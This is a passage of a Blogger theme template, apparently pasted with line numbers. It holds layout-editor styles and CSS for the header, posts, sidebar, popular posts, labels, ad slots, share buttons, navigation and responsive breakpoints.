  614. #layout div#post-wrapper:before {content:'Post Wrapper';text-transform:uppercase;font-size:16px;color:#aaa;margin:0 0 20px 0;display:inline-block;font-weight:700;font-family:sans-serif;}
  615. #layout #main-wrapper{width:70%;float:left}
  616. #layout #sidebar-wrapper{width:30%;left:0;padding:0;float:right}
  617. #layout #sidebar-wrapper:before {content:'Sidebar Wrapper';text-transform:uppercase;font-size:16px;color:#aaa;margin:0 0 20px 0;display:inline-block;font-weight:700;font-family:sans-serif;}
  618. #layout .draggable-widget .widget-wrap2 {background:#c1cfd9;}
  619. #layout #banner,#layout #banner2 {background-color:#5f6868;padding:20px 0!important;margin-bottom:20px;}
  620. #layout #banner:before,#layout #banner2:before{content:'Ad Slot 970x90';font-size:13px;color:#fff;margin-bottom:20px;padding-bottom:5px;display:inline-block;font-weight:400;font-family:sans-serif}
  621. #layout #banner .widget,#layout #banner2 .widget{width:80%;margin:5px auto!important;overflow:hidden;float:none}
  622. #layout #banner .add_widget,#layout #banner2 .add_widget{width:80%;margin:5px auto!important;overflow:hidden;float:none}
  623. #layout div#mag-wrapper .add_widget,#layout div#mag-wrapper2 .add_widget{background-color:#649fd0;border:none}
  624. iframe#editorframe,#editorframe {width:1000px!important;;}
  625. body#layout div#post-wrapper,body#layout #post-wrapper,#layout #post-wrapper {float:left;width:70%;}
  626. body#layout div.section,#layout div.section{background-color:transparent;border:0;font-family:sans-serif;margin:0;overflow:visible;padding:0;position:relative}
  627. body#layout #uxlite-wrapper, body#layout .post-inner, body#layout .sidebar, body#layout .sidebar-two,body#layout #wrapper, body#layout .post-inner, body#layout .sidebar-inner {padding:0;}
  628. body#layout #main{position:relative;background-color:#636798;padding:20px 10px!important;margin-bottom:20px;clear:both}
  629. body#layout #main:before{content:'Recent Post';font-size:13px;color:#fff;margin-bottom:20px;padding-bottom:5px;display:block;font-weight:400;font-family:sans-serif}
  630. body#layout .vita-list {float:left;width:79px;}
  631. body#layout .header-wrapper {margin-top:0;}
  632. body#layout #navigation {float:left;width:100%;}
  633. body#layout .vita-list {float:left;width:100%;}
  634. body#layout #header-wrapper {min-height:0px;width:100%;}
  635. body#layout #header {width:30%;}
  636. body#layout #header-right {width:70%;}
  637. body#layout #vita-list-1, body#layout #vita-list-2 {width:50%;float:left;}
  638. body#layout .add_widget {border:1px solid #ddd;}
  639. body#layout #carousel {background-color:#f9aa4f;padding:20px 0!important;margin-bottom:20px;}
  640. body#layout #carousel:before{content:'Slider';font-size:13px;color:#fff;margin-bottom:20px;padding-bottom:5px;display:inline-block;font-weight:400;font-family:sans-serif}
  641. body#layout div#mag-wrapper,body#layout div#mag-wrapper2{width:100%;position:relative;display:inline-block;background-color:#78b9ef;padding:20px 0 !important;margin-bottom:20px;clear:both}
  642. body#layout div#mag-wrapper:before,body#layout div#mag-wrapper2:before{content:'Mag Section';font-size:13px;color:#fff;margin-bottom:20px;padding-bottom:5px;display:block;font-weight:400;font-family:sans-serif}
  643. body#layout #uxprobox-1,body#layout #uxprobox-2,body#layout #uxprobox-3,body#layout #uxprobox-4,body#layout #uxprobox-5,body#layout #uxprobox-6{width:48%;margin:4px;float:left;display:list-item;list-style:none}
  644. body#layout #main,body#layout #main2{position:relative;background-color:#636798;padding:20px 10px !important;margin-bottom:20px;clear:both}
  645. body#layout #main2{background-color:#84c0a0}
  646. ]]></b:template-skin>
  647.  
  648. <style type='text/css'>
  649. /* CSS Fix */
  650. #navbar-iframe,#ContactForm1,#ContactForm1 br,.quickedit,#Attribution1 {display:none;visibility:hidden}
  651. .clear {clear:both;}
  652. .clear:after {visibility:hidden;display:block;font-size:0;content:&quot; &quot;;clear:both;height:0;}
  653. header,nav,section,aside,article,footer {display:block;}
  654. form.searchform {margin:0;}
  655. .widget ul {line-height:1.4em;}
  656. .rich-snippet {padding:10px;margin:15px 0 0;border:3px solid #e6e6e6;font-size:12px;}
  657. .status-msg-wrap {width:100%;margin:auto;}
  658. .status-msg-body {padding:20px 2%;width:100%;background:#fff;}
  659. .status-msg-border {border:none;opacity:1;width:auto;}
  660. .status-msg-bg {background-color:#fff;}
  661. .status-msg-hidden {padding:20px 2%;}
  662. .rich-snippet {padding:10px;margin:15px 0 0;border:none;font-size:12px;}
  663. span.post-count {font-size:11px;color:#666;}
  664. .CSS_LIGHTBOX {z-index:999999!important;}
  665. .CSS_LIGHTBOX_BG_MASK_TRANSPARENT {opacity:.95!important;}
  666.  
  667. /* CSS Outer Wrapper */
  668. #uxlite-wrapper {padding-top: 80px;max-width:870px;overflow:hidden;-webkit-box-sizing:initial;-moz-box-sizing:initial;box-sizing:initial;}
  669.  
  670. /* CSS Content Wrapper */
  671. #content-wrapper {margin:auto;padding:0;word-wrap:break-word;}
  672.  
  673.  
  674. /* CSS Header Wrapper */
  675. #header-wrapper {}
  676. .header-wrapp {}
  677. #header {height: 50px;float:left;width:auto;color:#fff;margin:0;}
  678. #header h1, #header h2, #header p {font-family:&#39;Nunito Sans&#39;;font-size:200%;font-weight:800;color:#fff;}
  679. #header a { float: left;padding-left: 3px;
  680. padding-right: 7px;text-decoration:none;transition:all 0.3s ease-out;}
  681. #header a:hover {color:#000;}
  682. #header .description {
  683. display: none;
  684. padding-left: 5px;
  685. border-left: 2px solid;
  686. margin: 0.8em 0;
  687. float: left;
  688. font-size: 100%;
  689. font-weight: 600;
  690. color: #111;
  691. line-height: normal;}
  692. .header img {margin:14px auto;
  693. height: 30px;
  694. display: block;
  695. width: auto;}
  696. .header-right {float:right;padding:0;overflow:hidden;margin:0;width:100%;
  697. max-width:728px;}
  698. .header-right img {display:block;border:1px solid rgba(0,0,0,.5);}
  699. .Header h1,.Header h2 {margin-bottom:10px;margin-top: 11px;}
  700.  
  701. @media screen and (max-width: 1028px){
  702. #header {
  703. max-width: unset;
  704. text-align: center;
  705. float: none;
  706. width: 100%;}
  707. #header a {
  708. float: unset;
  709. padding-left: 3px;
  710. padding-right: 7px;}
  711.  
  712. }
  713.  
  714. /* CSS Post Wrapper */
  715.  
  716. #post-wrapper {color:#444;width:870px;}
  717. .post-inner {padding:0;}
  718. .post {background:#fff;margin:0;}
  719. .post-body{-webkit-font-smoothing: antialiased;
  720. font-size: 14px;
  721. line-height: 23px;
  722. color: #444;
  723. margin-top: 10px;}
  724. .post-body img {max-width:95%;margin:0 auto;height:auto;}
  725.  
  726. h3.post-title a, h2.post-title a, h1.post-title a, h2.post-title, h1.post-title {color:#000;}
  727. h3.post-title a:hover, h2.post-title a:hover, h1.post-title a:hover {color:#cf4d35!important;}
  728. .uxlite-info {background:transparent;color:#fff;font-size:12px;text-align:left;padding:0;box-shadow:none;}
  729. .uxlite-info a {display:inline;background:transparent;color:#666;transition:all .3s ease-out;}
  730. .author-info, .time-info, .comment-info, .label-info, .review-info {margin-right:0;display:inline-block;color:#666;padding:10px 0px;}
  731. .timestamp-link abbr { font-family: sans-serif; font-size: 13px;
  732. border-bottom: none;
  733. color: #ccc;}
  734. #blog-pager-newer-link{float:left;}
  735. #blog-pager-older-link{float:right;}
  736. .blog-pager,#blog-pager{clear:both;text-align:center}
  737. .feed-links{clear:both;line-height:2.5em;}
  738. span.post-author.vcard {visibility:hidden;width:0;height:0;}
  739. .post-header, .post-footer {line-height:initial;width:0;height:0;}
  740.  
  741. /* CSS Sidebar Wrapper */
  742. #sidebar-wrapper {float:right;width:300px;margin:auto;border-bottom:1px solid #e9e9e9;}
  743. .sidebar h2,.sidebar-two h2,.sidebar h3,.sidebar-two h3{color: #000;
  744. font-size: 14px;
  745. font-style: normal;
  746. font-weight: 700;
  747. line-height: 20px;
  748. margin-bottom: 15px;
  749. text-transform: uppercase;}
  750.  
  751. .sidebar .widget,.sidebar-two .widget {margin:0 0 25px;}
  752. .sidebar ul, .sidebar ol,.sidebar-two ul, .sidebar-two ol {list-style-type:none;margin:0;padding:0;}
  753. .sidebar li,.sidebar-two li {padding:0;}
  754.  
  755. /* CSS Popular Post */
  756. .widget-content.popular-posts {
  757. border: 1px solid #ccc;
  758. }
  759. #PopularPosts1{margin: auto;
  760. max-width: 300px;padding:0;}
  761. #PopularPosts1 ul{padding:0;background:#fff;counter-reset:popcount}
  762. #PopularPosts1 ul li{margin:0;padding:15px 10px 15px 45px;position:relative;overflow:hidden;border-bottom: 1px solid rgb(234, 234, 234);transition:all .3s}
  763. #PopularPosts1 ul li:last-child{border-bottom:none}
  764. #PopularPosts1 ul li .item-title{color:#fff;padding:0 10px 0 0}
  765. #PopularPosts1 ul li:hover{background:rgba(0,0,0,0.06)}
  766. #PopularPosts1 ul li .item-title a{font-size:14px;font-weight:700;color:#000}
  767. #PopularPosts1 ul li img {
  768. width: 318px;
  769. height: auto;
  770. }
  771. #PopularPosts1 ul li:first-child{border-bottom:none;padding:0}
  772. #PopularPosts1 ul li:first-child .item-thumbnail {
  773. margin: 0px;
  774. width: 103%;
  775. height: 180px;
  776. overflow: hidden;
  777. display: block;
  778. }
  779. #PopularPosts1 ul li:first-child .item-title{position:absolute;left:0;right:0;bottom:0;top:0;text-align:left;padding:15px 20px 15px 45px;background:rgba(44,62,80,.6);z-index:1;transform:translate(0,105px);transition:all .3s}
  780. #PopularPosts1 ul li:hover:first-child .item-title{background:rgba(44,62,80,1);transform:translate(0,0)}
  781. #PopularPosts1 ul li:first-child .item-title a{font-size:15px;color:#fff}
  782. #PopularPosts1 ul li .item-thumbnail,#PopularPosts1 .item-snippet{display:none}
  783. #PopularPosts1 ul li:first-child .item-snippet{display:block;position:absolute;bottom:0;left:0;right:0;top:0;padding:15px 20px 15px 45px;color:#fff;opacity:0;visibility:hidden;transform:translate(0,180px);font-size:13px;overflow:hidden;text-overflow:ellipsis;height:7.5em;transition:all .3s}
  784. #PopularPosts1 ul li:first-child .item-snippet:after{content:&#39;&#39;;text-align:right;position:absolute;bottom:0;right:0;width:70%;height:1.2em;background:linear-gradient(to right,rgba(44,62,80,0),rgba(44,62,80,1) 50%)}
  785. #PopularPosts1 ul li:hover:first-child .item-snippet{opacity:1;visibility:visible;transform:translate(0,55px);z-index:2;}
  786. #PopularPosts1 ul li .item-title:before{list-style-type:none;padding:0;counter-increment:popcount;content:counter(popcount);position:absolute;left:5%;top:61%;margin-top:-19px;color:#c9c9c9;font-size:24px;line-height:1;z-index:2;text-align:center;font-weight:700;transition:all .3s}
  787. #PopularPosts1 ul li:first-child .item-title:before{top:25%}
  788. #PopularPosts1 ul li:first-child .item-title:before{color:#fff}
  789. #PopularPosts1 ul li:hover .item-title:before{color:rgba(255,255,255,1)}
  790.  
  791. /* CSS Footer Wrapper */
  792. #footer-wrapper{background: #555;position:relative;z-index:21;text-align:center;overflow:hidden;}
  793. #footer-last{overflow:hidden;width: 100%;
  794. max-width: 980px; margin: auto; }
  795. #footer-last2 {max-width:980px;margin:auto;}
  796. #virightcredit,.vieleftcredit {font-family: sans-serif;
  797. font-size: 12px;
  798. color: #ccc;
  799. display: inline-block;}
  800. #virightcredit a,.vieleftcredit a {color:#8f9aa1;text-decoration:none;}
  801. #virightcredit a:hover,.vieleftcredit a:hover {color:#c0ccd3;text-decoration:underline;}
  802.  
  803. /* CSS label */
  804. .widget-content.cloud-label-widget-content {display:inline-block;width:100%;}
  805. .widget-content.list-label-widget-content {padding-top: 20px;}
  806. .widget-content.cloud-label-widget-content {display:inline-block;}
  807. .label-size-1,.label-size-2,.label-size-3,.label-size-4,.label-size-5 {font-size:100%;opacity:1}
  808. .cloud-label-widget-content{text-align:left;padding:10px;}
  809. .label-count {white-space:nowrap;display:inline-block;}
  810. #sidebar-wrapper .Label li{position:relative;background:#fff;color:#444;padding:0;margin:0;text-align:left;width:100%;transition:all .3s ease-out}
  811. #sidebar-wrapper .Label li:hover {background:#fff;color:#cf4d35;}
  812. #sidebar-wrapper .Label li:before {content:&quot;&quot;;position:absolute;width:2px;height:100%;background:#4fafe9;transition:all .2s ease-in-out;}
  813. #sidebar-wrapper .Label li:hover:before {width:100%;}
  814. #sidebar-wrapper .Label li a{padding:0 0 0 20px;display:block;position:relative;line-height:42px;color:#787878;text-decoration:none;transition:all .3s ease-out}
  815. #sidebar-wrapper .Label li a:hover {color:#fff;}
  816. #sidebar-wrapper .Label li span{float:right;height:42px;line-height:42px;width:42px;text-align:center;display:inline-block;background:#4fafe9;color:#FFF;position:absolute;top:0;right:0;z-index:2}
  817. #sidebar-wrapper .Label li:nth-child(1) span,#sidebar-wrapper .Label li:nth-child(1):before,#sidebar-wrapper .Label li:nth-child(7) span,#sidebar-wrapper .Label li:nth-child(7):before {background:#ca85ca;}
  818. #sidebar-wrapper .Label li:nth-child(2) span,#sidebar-wrapper .Label li:nth-child(2):before,#sidebar-wrapper .Label li:nth-child(8) span,#sidebar-wrapper .Label li:nth-child(8):before {background:#e54e7e;}
  819. #sidebar-wrapper .Label li:nth-child(3) span,#sidebar-wrapper .Label li:nth-child(3):before,#sidebar-wrapper .Label li:nth-child(9) span,#sidebar-wrapper .Label li:nth-child(9):before {background:#61c436;}
  820. #sidebar-wrapper .Label li:nth-child(4) span,#sidebar-wrapper .Label li:nth-child(4):before,#sidebar-wrapper .Label li:nth-child(10) span,#sidebar-wrapper .Label li:nth-child(10):before {background:#f4b23f;}
  821. #sidebar-wrapper .Label li:nth-child(5) span,#sidebar-wrapper .Label li:nth-child(5):before,#sidebar-wrapper .Label li:nth-child(11) span,#sidebar-wrapper .Label li:nth-child(11):before {background:#46c49c;}
  822. #sidebar-wrapper .Label li:nth-child(6) span,#sidebar-wrapper .Label li:nth-child(6):before,#sidebar-wrapper .Label li:nth-child(12) span,#sidebar-wrapper .Label li:nth-child(12):before {background:#607ec7;}
  823. #sidebar-wrapper .label-size{position:relative;display:block;float:left;margin:0 4px 4px 0;font-size:13px;transition:all 0.3s;}
  824. #sidebar-wrapper .label-size a{background:#fff;background-image:linear-gradient(to bottom,rgba(255,255,255,1)0,rgba(250,250,250,1)70%,rgba(246,246,246,1)99%,rgba(246,246,246,1)100%);display:inline-block;color:#444;padding:5px 8px;font-weight:400;border:1px solid #e3e3e3;background-repeat:repeat-y;background-size:100% 90px;background-position:0 -30px;transition:all .3s}
  825. #sidebar-wrapper .label-count{opacity:0;visibility:hidden;font-size:85%;display:inline-block;position:absolute;top:-10px;right:-10px;background:#4fafe9;color:#fff;white-space:nowrap;padding:0;width:22px;height:22px;line-height:22px;border-radius:100%;text-align:center;z-index:1;transition:all .3s}
  826. #sidebar-wrapper .label-size:hover .label-count{opacity:1;visibility:visible;top:-5px}
  827. #sidebar-wrapper .label-size a:hover{color:#444;background-image:linear-gradient(to bottom,rgba(255,255,255,1)0,rgba(250,250,250,1)18%,rgba(255,255,255,1)99%,rgba(255,255,255,1)100%);background-position:0 0}
  828. #footer-wrapper .Label li {background:transparent;float:left;padding:5px;margin:0;text-align:left;width:45%;transition:all .3s ease-out;}
  829. #footer-wrapper .Label li:hover {color:#cf4d35;}
  830. #footer-wrapper .Label li a {color:#aaa;transition:all .3s ease-out;}
  831. #footer-wrapper .Label li a:hover {color:#cf4d35;}
  832. #footer-wrapper .Label li span{float:right;color:#aaa;margin:0;padding:4px 6px;text-align:center;font-size:13px;font-weight:400;border-radius:2px;}
  833. #footer-wrapper .Label li span:hover{color:#cf4d35}
  834. #footer-wrapper .label-size{position:relative;background:#3f414a;color:#fff;display:block;float:left;margin:0 1px 1px 0;font-size:14px;transition:all 0.4s;}
  835. #footer-wrapper .label-size a {display:inline-block;color:#fff;padding:6px 8px;font-weight:400;}
  836. #footer-wrapper .label-size a:hover {background:#23242a;color:#fff;transition:all 0.2s;}
  837. font-style:normal;font-weight:normal;text-decoration:none;color:#fff;transition:initial;}
  838. #footer-wrapper .label-size:hover, #footer-wrapper-inner .label-size:hover{background:#e1a66c;color:#fff;}
  839. #footer-wrapper .label-count{opacity:0;visibility:hidden;font-size:85%;display:inline-block;position:absolute;top:-10px;right:-10px;background:#fb4646;color:#fff;white-space:nowrap;padding:0;width:22px;height:22px;line-height:22px;border-radius:100%;text-align:center;z-index:1;transition:all .3s}
  840. #footer-wrapper .label-size:hover .label-count{opacity:1;visibility:visible;top:-5px}
  841.  
  842. /* CSS Ad Slot Wrapper */
  843. .banner,.banner2 {margin:0 auto;text-align:center;overflow:hidden;}
  844. .banner .widget,.banner2 .widget {width:100%;max-width:100%;margin:0 auto;background:transparent;text-align:center;overflow:hidden;padding-top:15px;padding-bottom:15px;}
  845. .banner img, .banner iframe,.banner2 img, .banner2 iframe{display:block;margin:0 auto;text-align:center;}
  846. .kotak_iklan {text-align:center;margin:0 auto;transition:all 1s ease-out;}
  847. .kotak_iklan .sidebar .widget-content,.kotak_iklan .sidebar-two .widget-content{padding:0;border:0;}
  848. .kotak_iklan .sidebar .widget {margin-bottom:0;padding:0;}
  849. .kotak_iklan img {background:#fff;text-align:center;margin:0 auto;padding:4px;border:1px solid transparent!important;transition:all 0.6s ease-out;}
  850. .kotak_iklan img:hover {background:#fdfdfd;border:1px solid #e6e6e6;}
  851. .kotak_iklan2 {text-align:center;margin:0 auto;transition:all 1s ease-out;}
  852. .kotak_iklan2 .sidebar .widget-content,.kotak_iklan2 .sidebar-two .widget-content{padding:0;background:#f2f6f7;box-shadow:0 1px 2px 0 rgba(0,0,0,0.1);border:0;}
  853. .kotak_iklan2 .sidebar .widget,.kotak_iklan2 .sidebar-two .widget {margin-bottom:0;padding:0;}
  854. .kotak_iklan2 img {text-align:center;transition:all 1s ease-out;}
  855. .kotak_iklan2 img:hover {transition:all .5s ease-out;}
  856.  
  857. /* CSS Tooltip */
  858. .seo-v6-tooltip {position:relative;display:inline-block;}
  859. .seo-v6-tooltip:before, .seo-v6-tooltip:after {position:absolute;opacity:0;z-index:1000;pointer-events:none;}
  860. .seo-v6-tooltip:hover:before, .seo-v6-tooltip:hover:after {opacity:1;}
  861. .seo-v6-tooltip:before {content:&#39;&#39;;position:absolute;background:transparent;border:4px solid transparent;position:absolute;}
  862. .seo-v6-tooltip:after {content:attr(data-seo-v6-tooltip)!important;background:#494158;color:#fff;padding:6px 8px;
  863. font-size:11px!important;font-family:&#39;Open Sans&#39;!important;white-space:nowrap;border-radius:2px;-webkit-backface-visibility:hidden;margin-left:initial;}
  864. .seo-v6-tooltip-top:before {bottom:140%;left:10%;margin:0 0 -9px 0;border-top-color:#494158;}
  865. .seo-v6-tooltip-top:after {bottom:125%;left:10%;margin:0 0 3px -10px!important;}
  866.  
  867. /* CSS Share Button */
  868. .share-post{text-align:center;padding:10px 0;}
  869. .widget .post-body &gt; .share-post ul {padding:0;}
  870. .share-post li{float:left;margin-left:7px;padding:0;list-style:none;position:relative;}
  871. .share-post li a{color:#fff;display:block;border-radius:10px;font-size:13px;transition:all 0.6s ease-out;}
  872. .share-post li a:hover{color:#fff;}
  873. .share-post li .twitter{background-color:#19bfe5;}
  874. .share-post li .facebook{background-color:#3b5998;}
  875. .share-post li .gplus{background-color:#d64136;}
  876. .share-post li .pinterest{background-color:#cb2027;}
  877. .share-post li .tumblr{background-color:#304e6c;}
  878. .share-post li .twitter:hover,.share-post li .facebook:hover,.share-post li .gplus:hover,
  879. .share-post li .pinterest:hover,.share-post li .tumblr:hover{color:#fff;}
  880. .share-post li:last-child{margin-right:0}
  881. .share-post li .fa:before{top:0;left:0;display:inline-block;padding:1px 10px;font-family:fontawesome;text-align:center;color:#fff;line-height:20px;text-shadow:2px 2px rgba(0,0,0,0.1);font-size:14px;transition:all 0.6s ease-out;}
  882. .share-post li:hover .fa:before{text-shadow:-2px 2px rgba(0,0,0,0.1);}
  883. .share-post li .fa {display:initial;}
  884.  
  885. /* CSS Page Navigation */
  886. .pagenav{background-color:#fff;clear:both;margin:20px;padding:15px;text-align:left;font-size:13px;font-weight:400}
  887. .pagenav .pages {background-color:transparent;color:#999;font-weight:400;text-transform:uppercase;font-size:10px;border:none;}
  888. .pagenav span,.pagenav a{display:inline-block;background-color:#4399cd;color:#fff;margin:0 2px;line-height:35px;height:35px;padding:0 12px;transition:all .2s}
  889. .pagenav .current,.pagenav a:hover{background:#3a89b9;color:#fff;}
  890.  
  891. /* CSS Back To Top */
  892. #backtotop{background-color: rgba(187,187,187,.8);
  893. display: block;
  894. width: 50px;
  895. height: 50px;
  896. border-radius: 50%;
  897. overflow: hidden;
  898. position: fixed;
  899. z-index: 90;
  900. right: 30px;
  901. bottom: 30px;
  902. line-height: 40px;
  903. color: #eee;
  904. text-align: center;
  905. /* background-color: #4399cd; */
  906. font-size: 40px;
  907. text-indent: 0;
  908. cursor: pointer;
  909. -webkit-transform: translateZ(0);
  910. padding: 4px 0 0;
  911. text-align: center;
  912. transition: all .5s;}
  913. #backtotop:hover {background-color:#FF5722;color:#fff;}
  914. /* CSS Global Responsive */
  915. @media only screen and (max-width: 980px){
  916. #uxlite-wrapper {
  917. max-width: 1200px;
  918. }
  919. .hedeee {
  920. max-width: 1200px;
  921. }
  922. #post-wrapper {
  923. width: 700px;
  924. margin: auto;
  925. }
  926.  
  927. #sidebar-wrapper {
  928. width: 25%;
  929. }
  930. }
  931. @media only screen and (max-width: 1201px){
  932. #uxlite-wrapper {
  933. padding: 80px 3% 3% 3%;
  934.  
  935. }
  936. .hedeee {
  937. max-width: 1023px;
  938. }
  939. }
  940.  
  941. @media only screen and (max-width: 500px){
  942.  
  943.  
  944.  
  945. #header .description {
  946. display: none;}
  947. #header h1, #header h2 {
  948.  
  949. text-align: center;}
  950. #header a {
  951. float: unset;}
  952. }
  953. .post-inner:before {
  954. content: &#39;&#39;;
  955. position: absolute;
  956. top: 70px;
  957. right: inherit;
  958. bottom: inherit;
  959. width: 0;
  960. height: 0;
  961. border-top: 340px solid #BA47BC;
  962. border-right: 540px solid transparent;
  963. }
  964.  
  965.  
  966. @media only screen and (max-width:800px) {
  967. .sidebar-inner {
  968. padding: 20px 10px 20px 10px;
  969. }
  970. #post-wrapper, #sidebar-wrapper {border-right: none;width:100%;max-width:540px}
  971. .post-body img {max-width:90%;}
  972. .post-inner {padding:0;}
  973. .vieleftcredit,#vierightcredit {float:none;text-align:center;margin:10px auto;}
  974. .Profile .profile-datablock {display:inline;float:left;}
  975. .uxlitetop-wrapper {margin:0;}
  976. .vitop-wrapper {margin:0;padding:0;}
  977. .top-menulite {display:block;width:100%;padding:0 10px}
  978. .top-menulite ul {text-align:center;}
  979. .top-menulite ul {display:none;height:auto;}
  980. .top-menulite a#pull {color:#eee;display:inline-block;font-size:12px;padding:10px 3%;position:relative;text-align:right;width:100%;font-weight:700;}
  981. .top-menulite a#pull:after {content:&#39;\f0c9&#39;;font-family:FontAwesome;font-style:normal;font-weight:normal;text-decoration:none;font-size:30px;color:#fff;display:inline-block;position:absolute;left:20px;top:0;line-height:30px;}
  982. .top-menulite li {display:block;width:100%;text-align:left;border-right:none;}
  983. .top-menulite li a {padding:15px 20px;display:block;}
  984. .top-menulite li a:hover, nav a:active {color:#fff;}
  985. .top-menulite ul li a:hover {background:#4399cd;color:#fff;}
  986. .top-menulite ul li:first-child a {margin-left:0;}
  987. .nav {float:none;width:100%;max-width:100%}
  988. .active {display:block;}
  989. .ux-menulite &gt; li &gt; a.active {border-top:4px solid #3a89b9;border-left:0;padding:0 15px;}
  990. #search-form {width:100%;margin:0!important;}
  991. .nav li ul:before,.top-menulite li.doremifa {display:none;}
  992. .nav &gt; li {float:none;overflow:hidden;background:#4399cd;z-index:99;}
  993. .nav ul {display:block;width:100%;float:none;}
  994. .ux-menulite li ul {background:#f6f6f6;box-shadow:none;}
  995. .ux-menulite li ul li a{background:#fafafa;color:#444;}
  996. .ux-menulite li li a:hover {background:#4399cd;}
  997. .nav &gt; li.hover &gt; ul , .nav li li.hover ul {position:static;}
  998. .ux-menulite li .parent:after,.ux-menulite li ul li .parent:after {content: &quot;\f107&quot;;font-family:FontAwesome;font-style:normal;font-weight:normal;text-decoration:inherit;padding-right:5px;float:right;color:#fff;}
  999. .ux-menulite li:active .parent:after,.ux-menulite li ul li:active .parent:after {color:#fff;}
  1000. #search-form {width:100%;background:#fdfdfd;}
  1001. #search-form td.search-box {padding:0 10px!important;}
  1002. #search-form td.search-button {padding:0 10px;width:1%;}
  1003. #search-form input#search-box[type=&quot;text&quot;] {margin:0;background:#fff;color:#666;}
  1004. #search-form input#search-button[type=&quot;submit&quot;] {margin:0 0 0 -6px;}
  1005. #search-form input#search-box[type=&quot;text&quot;]:focus {background:#fdfdfd;outline:none;}}
  1006.  
  1007. @media only screen and (max-width: 1028px){
  1008. #id-menu-navigasi {display:block;float: none;}}
  1009. @media only screen and (max-width: 570px){
  1010. #post-wrapper, #sidebar-wrapper {
  1011. border-right: none;
  1012. width: 100%;
  1013. max-width: 370px;
  1014. }
  1015. .post-inner:before {
  1016. content: &#39;&#39;;
  1017. position: absolute;
  1018. top: 70px;
  1019. right: inherit;
  1020. bottom: inherit;
  1021. width: 0;
  1022. height: 0;
  1023. border-top: 340px solid #BA47BC;
  1024. border-right: 250px solid transparent;
  1025. }
  1026.  
  1027. }
  1028.  
  1029. </style>
  1030. <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
  1031. <style type='text/css'>
  1032. div#Blog1 {
  1033. margin-bottom: 15px;}
  1034. .post-inner:before{
  1035. display: none;
  1036. }
  1037. div#disqus_thread {
  1038. display: none;
  1039. }
  1040. div#Blog1 {
  1041. padding: 15px;
  1042. }
  1043. </style>
  1044. </b:if>
  1045. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1046. <style type='text/css'>
  1047. div#Blog1 {
  1048. margin-bottom: 15px;}
  1049. .post-inner:before{
  1050. display: none;
  1051. }
  1052. div#Blog1 {
  1053. padding: 15px;
  1054. }
  1055. abbr.published.updated {
  1056. font-size: 13px;
  1057. border-bottom: 1px dotted;}
  1058. div#Blog1 {
  1059. background: white;}
  1060. .post {
  1061. padding: 0;
  1062. }
  1063.  
  1064. .post-body img.lock{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;}
  1065. .post img{background:#fafafa;height:auto;border:0;margin-bottom:2.0px;box-shadow:0 0 0 1px rgba(0,0,0,0.02);opacity:1;transition:all .6s ease;}
  1066. .post img:hover {opacity:0.95;}
  1067. .post-body a.img {margin-left:0!important;margin-right:0!important;}
  1068. h3.post-title, h2.post-title, h1.post-title {margin-top:10px;font-weight:400;font-size:1.4rem;}
  1069. .author-info, .time-info, .comment-info, .label-info, .review-info, .uxlite-info a {color:#444;}
  1070. .label-info {float:right;}
  1071. span.time-info {
  1072. float: left;
  1073. }
  1074. .label-info a {background: #4399cd;
  1075. color: #000;border:1px solid #e3e3e3;padding:3px 7px;}
  1076. .label-info a:hover{color:#888;border-color:1px solid #4399cd;text-decoration:underline}
  1077. #blog-pager {margin:0;}
  1078. .bagitiga{position:relative;display:block;-webkit-column-count:3;-moz-column-count:3;column-count:3;}
  1079. .bagitiga img{-webkit-backface-visibility:hidden;margin-bottom:15px;max-width:100%;}
  1080. .bagitiga br {display:none;}
  1081.  
  1082. /* Share Button */
  1083. h2.sharetitle{position:relative;overflow:hidden;margin:20px 0;font-size:120%;font-weight:700;padding:4px 8px;text-align:center;text-transform:uppercase;transition:all .5s ease-out}
  1084. h2.sharetitle:before, h2.sharetitle:after {position:absolute;top:51%;overflow:hidden;width:50%;height:2px;content:&#39;\a0&#39;;background-color:#ccc;}
  1085. h2.sharetitle:before{margin-left:-50%;text-align:right;}
  1086. h2.sharetitle span{position:relative;display:inline-block;padding:5px 10px;margin:0 10px;}
  1087. .sharede,.sharebrow{position:relative;display:inline-block;}
  1088. .sharebrow{display:table;margin:auto;text-align:center}
  1089. .sharebrow a.fb,.sharebrow a.gp,.sharebrow a.tw,.sharebrow span.pl{text-decoration:none!important;display:inline-block;margin:0 5px 5px 0;font-weight:400;border-radius:2px;color:#fff;box-shadow:0 1px 0 rgba(0,0,0,.08);text-shadow:none;padding:4px 10px;opacity:1;transition:all .3s}
  1090. .sharebrow a.gp {background:#f20000;}
  1091. .sharebrow a.fb {background:#516ca4;}
  1092. .sharebrow a.tw {background:#00baff;}
  1093. .sharebrow span.pl {background:#ff6600;}
  1094. .fbtea,.gotea,.plustea,.twtea{font-size:13px!important;vertical-align:middle}
  1095. .sharebrow a.fb:hover,.sharebrow a.gp:hover,.sharebrow a.tw:hover,.sharebrow span.pl:hover{color:#fff;opacity:.9}
  1096. .sharebrow a.fb:active,.sharebrow a.gp:active,.sharebrow a.tw:active,.sharebrow span.pl:active{box-shadow:inset 0 1px 0 rgba(0,0,0,.16)}
  1097. span.pl{color:green;cursor:pointer}
  1098. #share-menu{display:none}
  1099. .dropdown-menu{position:absolute;top:100%;right:5px;z-index:99;float:left;min-width:100px;padding:5px 10px;margin:0;font-size:13px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ddd;border-radius:3px;}
  1100. .dropdown-menu li{list-style:none!important;margin:0!important;padding-left:0!important;line-height:1.8em!important}
  1101. .dropdown-menu li a{color:#333!important;font-weight:400;display:block}
  1102. .dropdown-menu li a:hover{color:#e8554e!important}
  1103. ul#share-menu{margin:10px 0;padding:5px 15px}
  1104.  
  1105. /* CSS Related Posts */
  1106. #related-post {margin:0 auto;padding:0;text-align:center;}
  1107. #related-post h4 {position:relative;overflow:hidden;padding:0;margin:10px 0 20px 0;font-size:120%;font-weight:700;padding:4px 8px;text-align:center;text-transform:uppercase;transition:all 0.5s ease-out;}
  1108. #related-post h4:before, #related-post h4:after {position:absolute;top:51%;overflow:hidden;width:50%;height:2px;content:&#39;\a0&#39;;background-color:#ccc;}
  1109. #related-post h4:before{margin-left:-50%;text-align:right;}
  1110. #related-post h4 span{position:relative;display:inline-block;padding:5px 10px;margin:0 10px;}
